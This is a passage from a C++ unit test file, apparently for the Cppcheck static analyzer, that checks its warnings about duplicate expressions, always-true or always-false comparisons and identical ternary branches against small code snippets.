ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n 